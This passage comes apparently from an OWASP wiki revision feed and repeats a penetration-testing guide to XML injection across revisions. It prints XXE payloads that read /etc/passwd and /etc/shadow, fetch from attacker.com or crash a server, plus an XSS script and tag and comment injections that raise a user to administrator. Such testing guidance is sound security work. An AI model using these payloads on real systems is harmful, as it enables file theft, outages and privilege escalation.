 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.&lt;br /&gt;
&lt;br /&gt;
'''Entity:'''&lt;br /&gt;
It's possible to define an entity using the DTDs. Entity-name as ''&amp;amp;amp;.'' is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars.&lt;br /&gt;
Other tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a dtd.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* [2]...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Author: &amp;quot;Title&amp;quot; - http://www.owasp.org &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12608</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12608"/>
				<updated>2006-11-14T20:21:02Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
..here: we describe in &amp;quot;natural language&amp;quot; what we want to test.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an xml style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node on an xmlDb file.&lt;br /&gt;
Let's suppose xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When a user register himself by filling an html form, &lt;br /&gt;
the application will receive user's data in a standard request which&lt;br /&gt;
for the sake of simplicity will be supposed to be sent as GET request.&lt;br /&gt;
&lt;br /&gt;
For example the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
Will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to the application, which, afterwards, will build the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability, consists in trying to insert xml metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
A list of xml metacharacters is:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during xml&lt;br /&gt;
parsing if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted into attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The xml document will be no more well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be &lt;br /&gt;
used in case attribute value is enclosed by double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution will be:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the xml document will be no more valid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis &lt;br /&gt;
in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but the presence of an open '&amp;lt;' will deny the validation of xml data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/&lt;br /&gt;
end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid xml sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in xml syntax to represent XML Entities.&lt;br /&gt;
that is, by using an arbitrary entity like '&amp;amp;amp;symbol;' it is possible to &lt;br /&gt;
map it with a character or a string which will be considered as non-xml text.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represent the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp; it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
Infact if a input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
but as &amp;amp;amp;foo doesn't has a final ';' and moreover &amp;amp;foo; entity is defined nowhere so xml is not valid as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA begin/end tags: &amp;lt;![CDATA[ / ]]&amp;gt;''' - When CDATA tag is used, every character enclosed by it is not parsed by xml parser. &lt;br /&gt;
Often this is used when there are metacharacters inside a text node&lt;br /&gt;
which are to be considered as text values.&lt;br /&gt;
&lt;br /&gt;
For example if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node&lt;br /&gt;
it could be used CDATA in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed and will be considered as a text value.&lt;br /&gt;
&lt;br /&gt;
In case  a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA sequence ']]&amp;gt;' in order to try to invalidate xml.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid xml representation.&lt;br /&gt;
&lt;br /&gt;
* '''External Entity: '''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values::&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a dtd.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
